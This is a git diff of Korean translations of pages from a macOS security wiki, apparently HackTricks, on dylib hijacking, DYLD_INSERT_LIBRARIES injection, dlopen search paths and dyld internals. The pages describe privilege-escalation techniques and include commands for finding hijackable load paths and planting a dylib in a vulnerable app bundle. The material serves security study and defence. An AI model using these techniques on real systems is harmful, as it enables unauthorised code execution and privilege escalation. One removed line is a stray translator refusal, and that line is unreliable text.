Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -안드로이드 스튜디오가 이 예제에서 **`/Applications/Android Studio.app.vmoptions`** 파일을 로드하려고 시도하는 것이 얼마나 흥미로운지 주목하세요. 이곳은 **`admin` 그룹**의 모든 사용자가 쓰기 권한을 가진 장소입니다. +안드로이드 스튜디오가 이 예제에서 **`/Applications/Android Studio.app.vmoptions`** 파일을 로드하려고 시도하는 것이 얼마나 흥미로운지 주목하세요. 이곳은 **`admin` 그룹**의 모든 사용자가 쓰기 권한을 가진 장소입니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index a272dc34c..c6173bda4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -15,9 +15,9 @@ macos-dyld-process.md ## **DYLD_INSERT_LIBRARIES** -이것은 [**Linux의 LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload)와 같습니다. 실행될 프로세스가 특정 경로에서 라이브러리를 로드하도록 지시할 수 있습니다(환경 변수가 활성화된 경우). +이것은 [**Linux의 LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload)와 유사합니다. 실행될 프로세스가 특정 경로에서 라이브러리를 로드하도록 지시할 수 있습니다(환경 변수가 활성화된 경우). -이 기술은 모든 설치된 애플리케이션에 "Info.plist"라는 plist가 있어 **환경 변수를 할당**할 수 있는 키 `LSEnvironmental`을 사용하므로 **ASEP 기술로도 사용될 수 있습니다**. +이 기술은 모든 설치된 애플리케이션이 "Info.plist"라는 plist를 가지고 있어 **환경 변수를 할당할 수 있도록 하는** 키 `LSEnvironmental`을 사용하기 때문에 **ASEP 기술로도 사용될 수 있습니다**. > [!NOTE] > 2012년 이후 **Apple은 `DYLD_INSERT_LIBRARIES`의 권한을 대폭 축소했습니다.** @@ -31,13 +31,13 @@ macos-dyld-process.md > - 소프트웨어에 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) 권한이 없는 권한(강화된 런타임)이 있습니다. > - 바이너리의 **권한**을 확인하려면: `codesign -dv --entitlements :- ` > -> 더 최신 버전에서는 이 논리를 함수 **`configureProcessRestrictions`**의 두 번째 부분에서 찾을 수 있습니다. 그러나 최신 버전에서 실행되는 것은 함수의 **시작 검사**입니다(이것은 macOS에서 사용되지 않으므로 iOS 또는 시뮬레이션과 관련된 if를 제거할 수 있습니다). +> 더 최신 버전에서는 이 논리를 함수 **`configureProcessRestrictions`**의 두 번째 부분에서 찾을 수 있습니다. 그러나 최신 버전에서 실행되는 것은 함수의 **시작 검사**입니다(이것은 macOS에서 사용되지 않을 iOS 또는 시뮬레이션과 관련된 if를 제거할 수 있습니다). ### 라이브러리 검증 바이너리가 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 사용하도록 허용하더라도, 바이너리가 로드할 라이브러리의 서명을 확인하면 사용자 정의 라이브러리를 로드하지 않습니다. -사용자 정의 라이브러리를 로드하려면 바이너리가 **다음 권한 중 하나**를 가져야 합니다: +사용자 정의 라이브러리를 로드하려면 바이너리가 **다음 권한 중 하나를 가져야 합니다**: - [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation) - [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation) @@ -46,7 +46,7 @@ macos-dyld-process.md 바이너리에 **강화된 런타임**이 있는지 확인하려면 `codesign --display --verbose `을 사용하여 **`CodeDirectory`**에서 플래그 런타임을 확인하세요: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** -바이너리와 **같은 인증서로 서명된** 라이브러리를 로드할 수도 있습니다. +바이너리와 동일한 인증서로 서명된 라이브러리를 로드할 수도 있습니다. 이것을 (악용)하는 방법과 제한 사항을 확인하려면: @@ -57,12 +57,12 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md ## Dylib 하이재킹 > [!CAUTION] -> **이전 라이브러리 검증 제한 사항도** Dylib 하이재킹 공격을 수행하는 데 적용됩니다. +> **이전 라이브러리 검증 제한 사항도 Dylib 하이재킹 공격을 수행하는 데 적용됩니다.** -Windows와 마찬가지로 MacOS에서도 **dylibs를 하이재킹**하여 **애플리케이션**이 **임의의** **코드를 실행**하도록 만들 수 있습니다(사실 일반 사용자에게는 TCC 권한이 필요할 수 있으므로 `.app` 번들 내에서 쓰기 위해 라이브러리를 하이재킹하는 것이 불가능할 수 있습니다).\ -그러나 **MacOS** 애플리케이션이 **라이브러리**를 **로드하는 방식은** Windows보다 **더 제한적**입니다. 이는 **악성 코드** 개발자가 여전히 이 기술을 **은폐**를 위해 사용할 수 있지만, **권한 상승을 악용할 가능성은 훨씬 낮습니다**. +Windows와 마찬가지로 MacOS에서도 **dylibs를 하이재킹**하여 **애플리케이션이 임의의 코드를 실행**하도록 만들 수 있습니다(실제로 일반 사용자에게는 TCC 권한이 필요할 수 있으므로 `.app` 번들 내에서 쓰기 위해 라이브러리를 하이재킹하는 것은 불가능할 수 있습니다).\ +그러나 **MacOS** 애플리케이션이 **라이브러리**를 **로드하는 방식은 Windows보다 더 제한적입니다.** 이는 **악성 소프트웨어** 개발자가 여전히 이 기술을 **은폐**를 위해 사용할 수 있지만, **권한 상승을 악용할 가능성은 훨씬 낮습니다.** -우선, **MacOS 바이너리가 로드할 라이브러리의 전체 경로를 지정하는 것이 더 일반적**입니다. 둘째, **MacOS는 라이브러리를 위해 **$PATH**의 폴더를 검색하지 않습니다.** +우선, **MacOS 바이너리가 로드할 라이브러리의 전체 경로를 지정하는 것이 더 일반적입니다.** 둘째, **MacOS는 라이브러리를 위해 **$PATH**의 폴더를 검색하지 않습니다.** 이 기능과 관련된 **주요** 코드는 **`ImageLoader::recursiveLoadLibraries`**에 있습니다 `ImageLoader.cpp`. @@ -76,8 +76,8 @@ macho 바이너리가 라이브러리를 로드하는 데 사용할 수 있는 * 그러나 **dylib 하이재킹**에는 **2가지 유형**이 있습니다: - **누락된 약한 연결 라이브러리**: 이는 애플리케이션이 **LC_LOAD_WEAK_DYLIB**로 구성된 존재하지 않는 라이브러리를 로드하려고 시도함을 의미합니다. 그런 다음 **공격자가 예상되는 위치에 dylib를 배치하면 로드됩니다**. -- 링크가 "약한" 경우 애플리케이션은 라이브러리를 찾지 못하더라도 계속 실행됩니다. -- 이와 관련된 **코드는** `ImageLoaderMachO::doGetDependentLibraries` 함수에 있으며, 여기서 `lib->required`는 `LC_LOAD_WEAK_DYLIB`가 true일 때만 `false`입니다. +- 링크가 "약한"이라는 것은 라이브러리가 발견되지 않더라도 애플리케이션이 계속 실행된다는 것을 의미합니다. +- 이와 관련된 **코드는** `ImageLoaderMachO::doGetDependentLibraries` 함수에 있으며, 여기서 `lib->required`는 **`LC_LOAD_WEAK_DYLIB`**가 true일 때만 `false`입니다. - **바이너리에서 약한 연결 라이브러리 찾기** (하이재킹 라이브러리를 만드는 방법에 대한 예가 나중에 있습니다): - ```bash otool -l | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB @@ -90,17 +90,17 @@ compatibility version 1.0.0 - **@rpath로 구성됨**: Mach-O 바이너리는 **`LC_RPATH`** 및 **`LC_LOAD_DYLIB`** 명령을 가질 수 있습니다. 이러한 명령의 **값**에 따라 **라이브러리**는 **다른 디렉토리**에서 **로드**됩니다. - **`LC_RPATH`**는 바이너리가 라이브러리를 로드하는 데 사용하는 일부 폴더의 경로를 포함합니다. - **`LC_LOAD_DYLIB`**는 로드할 특정 라이브러리의 경로를 포함합니다. 이러한 경로는 **`@rpath`**를 포함할 수 있으며, 이는 **`LC_RPATH`**의 값으로 **대체됩니다**. **`LC_RPATH`**에 여러 경로가 있는 경우 모든 경로가 라이브러리를 로드하는 데 사용됩니다. 예: -- **`LC_LOAD_DYLIB`**에 `@rpath/library.dylib`가 포함되고 **`LC_RPATH`**에 `/application/app.app/Contents/Framework/v1/` 및 `/application/app.app/Contents/Framework/v2/`가 포함된 경우 두 폴더가 `library.dylib`를 로드하는 데 사용됩니다. **`[...] /v1/`에 라이브러리가 존재하지 않으면 공격자가 그곳에 배치하여 `[...]/v2/`에서 라이브러리 로드를 하이재킹할 수 있습니다.** +- **`LC_LOAD_DYLIB`**에 `@rpath/library.dylib`가 포함되고 **`LC_RPATH`**에 `/application/app.app/Contents/Framework/v1/` 및 `/application/app.app/Contents/Framework/v2/`가 포함된 경우, 두 폴더가 `library.dylib`를 로드하는 데 사용됩니다. **`[...] /v1/`에 라이브러리가 존재하지 않으면 공격자가 그곳에 배치하여 `[...]/v2/`에서 라이브러리 로드를 하이재킹할 수 있습니다.** **`LC_LOAD_DYLIB`**의 경로 순서가 따릅니다. - **바이너리에서 rpath 경로 및 라이브러리 찾기**: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` -> [!NOTE] > **`@executable_path`**: **주 실행 파일**이 포함된 **디렉토리**의 **경로**입니다. +> [!NOTE] > **`@executable_path`**: **주 실행 파일**이 포함된 디렉토리의 **경로**입니다. > -> **`@loader_path`**: **로드 명령**을 포함하는 **Mach-O 바이너리**가 있는 **디렉토리**의 **경로**입니다. +> **`@loader_path`**: **로드 명령**이 포함된 **Mach-O 바이너리**가 있는 **디렉토리**의 **경로**입니다. > -> - 실행 파일에서 사용될 때, **`@loader_path`**는 사실상 **`@executable_path`**와 **같습니다**. +> - 실행 파일에서 사용될 때, **`@loader_path`**는 사실상 **`@executable_path`**와 동일합니다. > - **dylib**에서 사용될 때, **`@loader_path`**는 **dylib**의 **경로**를 제공합니다. -이 기능을 악용하여 **권한을 상승**시키는 방법은 **루트**에 의해 실행되는 **애플리케이션**이 공격자가 쓰기 권한이 있는 폴더에서 **라이브러리를 찾고 있는** 드문 경우에 해당합니다. +이 기능을 악용하여 **권한을 상승시키는 방법**은 **루트**에 의해 실행되는 **애플리케이션**이 **공격자가 쓰기 권한이 있는 폴더에서 라이브러리를 찾는 경우**에 해당합니다. > [!TIP] > 애플리케이션에서 **누락된 라이브러리**를 찾기 위한 좋은 **스캐너**는 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 또는 [**CLI 버전**](https://github.com/pandazheng/DylibHijack)입니다.\ @@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md ## Dlopen 하이재킹 > [!CAUTION] -> **이전 라이브러리 검증 제한 사항도** Dlopen 하이재킹 공격을 수행하는 데 적용됩니다. +> **이전 라이브러리 검증 제한 사항도 Dlopen 하이재킹 공격을 수행하는 데 적용됩니다.** **`man dlopen`**에서: -- 경로에 **슬래시 문자가 포함되지 않으면**(즉, 단순한 리프 이름인 경우) **dlopen()이 검색을 수행합니다**. **`$DYLD_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 먼저 **해당 디렉토리**를 **확인합니다**. 다음으로, 호출된 macho 파일이나 주 실행 파일이 **`LC_RPATH`**를 지정하면 dyld는 **해당 디렉토리**를 **확인합니다**. 다음으로, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**를 검색합니다. 마지막으로, 오래된 바이너리의 경우 dyld는 몇 가지 대체 경로를 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 **해당 디렉토리**를 검색하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/usr/lib/`**에서 검색합니다. +- 경로에 **슬래시 문자가 포함되지 않으면**(즉, 단순한 리프 이름인 경우) **dlopen()이 검색을 수행합니다**. **`$DYLD_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 먼저 **해당 디렉토리**를 **확인합니다**. 다음으로, 호출된 macho 파일이나 주 실행 파일이 **`LC_RPATH`**를 지정하면 dyld는 **해당 디렉토리**를 **확인합니다**. 다음으로, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**를 검색합니다. 마지막으로, 오래된 바이너리의 경우, dyld는 몇 가지 대체 경로를 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 **해당 디렉토리**를 검색합니다. 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/usr/lib/`**에서 검색합니다(이 정보는 **`man dlopen`**에서 가져온 것입니다). 1. `$DYLD_LIBRARY_PATH` 2. `LC_RPATH` 3. `CWD`(제한되지 않은 경우) @@ -130,10 +130,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md > [!CAUTION] > 이름에 슬래시가 없으면 하이재킹을 수행할 수 있는 2가지 방법이 있습니다: > -> - **`LC_RPATH`**가 **쓰기 가능**한 경우(그러나 서명이 확인되므로 이를 위해서는 바이너리가 제한되지 않아야 함) +> - **`LC_RPATH`**가 **쓰기 가능**한 경우(하지만 서명이 확인되므로 이를 위해서는 바이너리가 제한되지 않아야 함) > - 바이너리가 **제한되지 않은 경우** CWD에서 무언가를 로드하거나 언급된 환경 변수를 악용할 수 있습니다. -- 경로가 **프레임워크** 경로처럼 보이는 경우(예: `/stuff/foo.framework/foo`), **`$DYLD_FRAMEWORK_PATH`**가 시작 시 설정된 경우, dyld는 먼저 **프레임워크 부분 경로**(예: `foo.framework/foo`)를 찾기 위해 해당 디렉토리를 확인합니다. 다음으로, dyld는 **제공된 경로를 있는 그대로** 시도합니다(상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우 dyld는 몇 가지 대체 경로를 시도합니다. **`$DYLD_FALLBACK_FRAMEWORK_PATH`**가 시작 시 설정된 경우, dyld는 해당 디렉토리를 검색합니다. 그렇지 않으면 **`/Library/Frameworks`**(macOS에서 프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/System/Library/Frameworks`**에서 검색합니다. +- 경로가 **프레임워크** 경로처럼 보이는 경우(예: `/stuff/foo.framework/foo`), **`$DYLD_FRAMEWORK_PATH`**가 시작 시 설정된 경우, dyld는 먼저 **프레임워크 부분 경로**(예: `foo.framework/foo`)를 찾기 위해 해당 디렉토리를 확인합니다. 다음으로, dyld는 **제공된 경로를 있는 그대로** 시도합니다(상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 몇 가지 대체 경로를 시도합니다. **`$DYLD_FALLBACK_FRAMEWORK_PATH`**가 시작 시 설정된 경우, dyld는 해당 디렉토리를 검색합니다. 그렇지 않으면 **`/Library/Frameworks`**(macOS에서 프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/System/Library/Frameworks`**에서 검색합니다. 1. `$DYLD_FRAMEWORK_PATH` 2. 제공된 경로(제한되지 않은 경우 상대 경로에 대해 현재 작업 디렉토리 사용) 3. `$DYLD_FALLBACK_FRAMEWORK_PATH` @@ -141,11 +141,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md 5. `/System/Library/Frameworks` > [!CAUTION] -> 프레임워크 경로인 경우 하이재킹하는 방법은: +> 프레임워크 경로인 경우, 하이재킹하는 방법은: > -> - 프로세스가 **제한되지 않은 경우**, CWD의 상대 경로를 악용하여 언급된 환경 변수를 사용합니다(문서에 명시되지 않았더라도 프로세스가 제한된 경우 DYLD\_\* 환경 변수가 제거됩니다). +> - 프로세스가 **제한되지 않은 경우**, CWD의 상대 경로를 악용하여 언급된 환경 변수를 사용합니다(문서에 명시되어 있지 않더라도 프로세스가 제한된 경우 DYLD\_\* 환경 변수가 제거됩니다). -- 경로에 **슬래시가 포함되어 있지만 프레임워크 경로가 아닌 경우**(즉, dylib에 대한 전체 경로 또는 부분 경로), dlopen()은 먼저 **`$DYLD_LIBRARY_PATH`**(경로의 리프 부분 포함)에서 확인합니다. 다음으로, dyld는 **제공된 경로**를 시도합니다(제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우 dyld는 대체 경로를 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 해당 디렉토리에서 검색하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/usr/lib/`**에서 검색합니다. +- 경로에 **슬래시가 포함되어 있지만 프레임워크 경로가 아닌 경우**(즉, dylib에 대한 전체 경로 또는 부분 경로), dlopen()은 먼저 **`$DYLD_LIBRARY_PATH`**(경로의 리프 부분 포함)에서 확인합니다. 다음으로, dyld는 **제공된 경로**를 시도합니다(제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 대체 경로를 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정된 경우, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 다음 **`/usr/lib/`**에서 검색합니다. 1. `$DYLD_LIBRARY_PATH` 2. 제공된 경로(제한되지 않은 경우 상대 경로에 대해 현재 작업 디렉토리 사용) 3. `$DYLD_FALLBACK_LIBRARY_PATH` @@ -153,7 +153,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md 5. `/usr/lib/` > [!CAUTION] -> 이름에 슬래시가 포함되고 프레임워크가 아닌 경우 하이재킹하는 방법은: +> 이름에 슬래시가 포함되고 프레임워크가 아닌 경우, 하이재킹하는 방법은: > > - 바이너리가 **제한되지 않은 경우** CWD 또는 `/usr/local/lib`에서 무언가를 로드하거나 언급된 환경 변수를 악용할 수 있습니다. @@ -162,7 +162,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md > > 참고: 주 실행 파일이 **set\[ug]id 바이너리이거나 권한으로 서명된 경우**, **모든 환경 변수는 무시되며**, 전체 경로만 사용할 수 있습니다([DYLD_INSERT_LIBRARIES 제한 사항 확인](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)에서 더 자세한 정보 확인). > -> 참고: Apple 플랫폼은 32비트 및 64비트 라이브러리를 결합하기 위해 "유니버설" 파일을 사용합니다. 이는 **별도의 32비트 및 64비트 검색 경로가 없음을 의미합니다**. +> 참고: Apple 플랫폼은 32비트 및 64비트 라이브러리를 결합하기 위해 "유니버설" 파일을 사용합니다. 이는 **별도의 32비트 및 64비트 검색 경로가 없음을 의미합니다.** > > 참고: Apple 플랫폼에서 대부분의 OS dylibs는 **dyld 캐시에 결합되어** 있으며 디스크에 존재하지 않습니다. 따라서 OS dylib가 존재하는지 사전 확인하기 위해 **`stat()`**를 호출하는 것은 **작동하지 않습니다**. 그러나 **`dlopen_preflight()`**는 **`dlopen()`**과 동일한 단계를 사용하여 호환 가능한 mach-o 파일을 찾습니다. @@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest" ``` ## 상대 경로 하이재킹 -**특권 이진 파일/앱**(예: SUID 또는 강력한 권한이 있는 이진 파일)이 **상대 경로** 라이브러리(예: `@executable_path` 또는 `@loader_path` 사용)를 **로드**하고 **라이브러리 검증이 비활성화**된 경우, 공격자가 **상대 경로로 로드된 라이브러리**를 **수정**할 수 있는 위치로 이진 파일을 이동시키고, 이를 악용하여 프로세스에 코드를 주입할 수 있습니다. +**특권 이진 파일/앱**(예: SUID 또는 강력한 권한이 있는 이진 파일)이 **상대 경로** 라이브러리(예: `@executable_path` 또는 `@loader_path` 사용)를 **로드**하고 **라이브러리 검증이 비활성화**된 경우, 공격자가 **상대 경로로 로드된 라이브러리**를 **수정**할 수 있는 위치로 이진 파일을 이동시켜 프로세스에 코드를 주입할 수 있습니다. ## `DYLD_*` 및 `LD_LIBRARY_PATH` 환경 변수 정리 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index c449d4a6e..5c0723496 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -133,11 +133,11 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" > [!NOTE] -> 이 취약점을 악용하여 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다. +> 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다. ## 더 큰 규모 -예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 프로세스 내에서 라이브러리가 로드될 때를 알아내기 위해 이벤트 메시지를 확인할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오). +예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 파악할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index 93d3ce849..25734f54b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -11,11 +11,11 @@ Mach-o 바이너리의 실제 **entrypoint**는 `LC_LOAD_DYLINKER`에 정의된 물론, **`dyld`**는 어떤 의존성도 없습니다(시스템 호출과 libSystem 발췌를 사용합니다). > [!CAUTION] -> 이 링크에 취약점이 있다면, 어떤 바이너리(특히 높은 권한의 것)도 실행되기 전에 실행되기 때문에 **권한 상승**이 가능할 수 있습니다. +> 이 링크에 취약점이 있다면, 어떤 바이너리(심지어 높은 권한의 것)도 실행되기 전에 실행되기 때문에 **권한 상승**이 가능할 수 있습니다. ### Flow -Dyld는 **`dyldboostrap::start`**에 의해 로드되며, 이 함수는 **스택 카나리**와 같은 것들도 로드합니다. 이는 이 함수가 **`apple`** 인자 벡터에서 이와 다른 **민감한** **값**을 받기 때문입니다. +Dyld는 **`dyldboostrap::start`**에 의해 로드되며, 이 함수는 **스택 카나리**와 같은 것들도 로드합니다. 이는 이 함수가 **`apple`** 인수 벡터에서 이와 다른 **민감한** **값**을 받기 때문입니다. **`dyls::_main()`**은 dyld의 entry point이며, 첫 번째 작업은 `configureProcessRestrictions()`를 실행하는 것입니다. 이 함수는 일반적으로 **`DYLD_*`** 환경 변수를 제한합니다: @@ -30,7 +30,7 @@ Dyld는 **`dyldboostrap::start`**에 의해 로드되며, 이 함수는 **스택 3. 그런 다음 가져온 라이브러리 1. 그런 다음 라이브러리를 재귀적으로 계속 가져옵니다 -모든 라이브러리가 로드되면 이들 라이브러리의 **초기화 함수**가 실행됩니다. 이들은 `LC_ROUTINES[_64]`(현재는 사용 중단됨)에서 정의된 **`__attribute__((constructor))`**를 사용하여 코딩되거나 `S_MOD_INIT_FUNC_POINTERS` 플래그가 설정된 섹션의 포인터로 코딩됩니다(일반적으로: **`__DATA.__MOD_INIT_FUNC`**). +모든 라이브러리가 로드되면 이 라이브러리의 **초기화 함수**가 실행됩니다. 이들은 `LC_ROUTINES[_64]`(현재는 사용 중단됨)에서 정의된 **`__attribute__((constructor))`**를 사용하여 코딩되거나 `S_MOD_INIT_FUNC_POINTERS` 플래그가 설정된 섹션의 포인터로 코딩됩니다(일반적으로: **`__DATA.__MOD_INIT_FUNC`**). 종료자는 **`__attribute__((destructor))`**로 코딩되며, `S_MOD_TERM_FUNC_POINTERS` 플래그가 설정된 섹션에 위치합니다(**`__DATA.__mod_term_func`**). @@ -43,8 +43,8 @@ macOS의 모든 바이너리는 동적으로 링크됩니다. 따라서, 이들 - **`__TEXT.__[auth_]stubs`**: `__DATA` 섹션의 포인터 - **`__TEXT.__stub_helper`**: 호출할 함수에 대한 정보와 함께 동적 링크를 호출하는 작은 코드 - **`__DATA.__[auth_]got`**: 전역 오프셋 테이블(해결된 가져온 함수의 주소, 로드 시간에 바인딩됨, `S_NON_LAZY_SYMBOL_POINTERS` 플래그가 설정됨) -- **`__DATA.__nl_symbol_ptr`**: 비게으른 심볼 포인터(로드 시간에 바인딩됨, `S_NON_LAZY_SYMBOL_POINTERS` 플래그가 설정됨) -- **`__DATA.__la_symbol_ptr`**: 게으른 심볼 포인터(첫 번째 접근 시 바인딩됨) +- **`__DATA.__nl_symbol_ptr`**: 비게으른 기호 포인터(로드 시간에 바인딩됨, `S_NON_LAZY_SYMBOL_POINTERS` 플래그가 설정됨) +- **`__DATA.__la_symbol_ptr`**: 게으른 기호 포인터(첫 번째 접근 시 바인딩됨) > [!WARNING] > "auth\_" 접두사가 있는 포인터는 이를 보호하기 위해 프로세스 내 암호화 키를 사용하고 있습니다(PAC). 또한, arm64 명령어 `BLRA[A/B]`를 사용하여 포인터를 따라가기 전에 확인할 수 있습니다. RETA\[A/B]는 RET 주소 대신 사용할 수 있습니다.\ @@ -109,7 +109,7 @@ Disassembly of section __TEXT,__stubs: ## apple\[] argument vector -macOS에서 main 함수는 실제로 3개 대신 4개의 인수를 받습니다. 네 번째는 apple이라고 하며 각 항목은 `key=value` 형식입니다. 예를 들어: +macOS에서 main 함수는 실제로 3개 대신 4개의 인수를 받습니다. 네 번째는 apple이라고 하며 각 항목은 `key=value` 형식입니다. 예: ```c // gcc apple.c -o apple #include @@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++) printf("%d: %s\n", i, apple[i]) } ``` -죄송하지만, 요청하신 내용을 처리할 수 없습니다. +결과: ``` 0: executable_path=./a 1: @@ -135,7 +135,7 @@ printf("%d: %s\n", i, apple[i]) 11: th_port= ``` > [!TIP] -> 이러한 값들이 main 함수에 도달할 때쯤에는 민감한 정보가 이미 제거되었거나 데이터 유출이 발생했을 것입니다. +> 이러한 값이 main 함수에 도달할 때쯤에는 민감한 정보가 이미 제거되었거나 데이터 유출이 발생했을 것입니다. main에 들어가기 전에 디버깅을 통해 이러한 흥미로운 값을 모두 볼 수 있습니다: @@ -180,7 +180,7 @@ main에 들어가기 전에 디버깅을 통해 이러한 흥미로운 값을 ## dyld_all_image_infos -이것은 dyld가 내보내는 구조체로, dyld 상태에 대한 정보가 포함되어 있으며, [**소스 코드**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)에서 찾을 수 있습니다. 여기에는 버전, dyld_image_info 배열에 대한 포인터, dyld_image_notifier, 프로세스가 공유 캐시에서 분리되었는지 여부, libSystem 초기화가 호출되었는지 여부, dyls의 자체 Mach 헤더에 대한 포인터, dyld 버전 문자열에 대한 포인터 등이 포함됩니다. +이것은 dyld가 내보내는 구조체로, dyld 상태에 대한 정보를 포함하고 있으며, [**소스 코드**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)에서 찾을 수 있습니다. 여기에는 버전, dyld_image_info 배열에 대한 포인터, dyld_image_notifier, 프로세스가 공유 캐시에서 분리되었는지 여부, libSystem 초기화가 호출되었는지 여부, dyls의 자체 Mach 헤더에 대한 포인터, dyld 버전 문자열에 대한 포인터 등이 포함됩니다. ## dyld env variables @@ -251,33 +251,33 @@ DYLD_PRINT_INITIALIZERS=1 ./apple dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib [...] ``` -### 기타 +### Others -- `DYLD_BIND_AT_LAUNCH`: 지연 바인딩이 비지연 바인딩과 함께 해결됨 -- `DYLD_DISABLE_PREFETCH`: \_\_DATA 및 \_\_LINKEDIT 콘텐츠의 사전 가져오기 비활성화 +- `DYLD_BIND_AT_LAUNCH`: 지연 바인딩이 비지연 바인딩과 함께 해결됩니다. +- `DYLD_DISABLE_PREFETCH`: \_\_DATA 및 \_\_LINKEDIT 콘텐츠의 사전 가져오기를 비활성화합니다. - `DYLD_FORCE_FLAT_NAMESPACE`: 단일 수준 바인딩 - `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 해상도 경로 -- `DYLD_INSERT_LIBRARIES`: 특정 라이브러리 로드 -- `DYLD_PRINT_TO_FILE`: dyld 디버그를 파일에 기록 -- `DYLD_PRINT_APIS`: libdyld API 호출 인쇄 -- `DYLD_PRINT_APIS_APP`: main에 의해 이루어진 libdyld API 호출 인쇄 -- `DYLD_PRINT_BINDINGS`: 바인딩될 때 기호 인쇄 -- `DYLD_WEAK_BINDINGS`: 바인딩될 때 약한 기호만 인쇄 